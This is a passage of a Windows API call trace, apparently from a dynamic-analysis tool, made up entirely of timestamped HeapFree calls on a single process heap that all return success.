[0149.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.957] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.959] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.959] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.965] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.969] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0150.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0150.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0150.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.266] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.274] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.274] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.274] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.275] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.292] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0150.292] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.293] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.293] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.732] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0150.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0150.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0150.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.768] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.768] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.785] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.786] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.786] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.835] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.837] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.837] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.840] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.841] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0150.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.842] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.843] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.843] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.845] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.847] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.944] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0150.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.955] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.956] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.958] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.960] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.961] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.962] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.963] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.964] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.965] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.966] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0150.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.975] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.979] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.979] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.979] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0150.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0150.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0151.387] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.387] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.387] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.388] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.388] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0151.389] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0151.391] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0151.392] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0151.394] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0151.395] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0151.396] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.398] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.398] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0151.398] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.398] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0151.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.401] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.401] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0151.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.405] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0151.406] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0151.408] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.408] HeapFree (in: hHeap=0x660000, 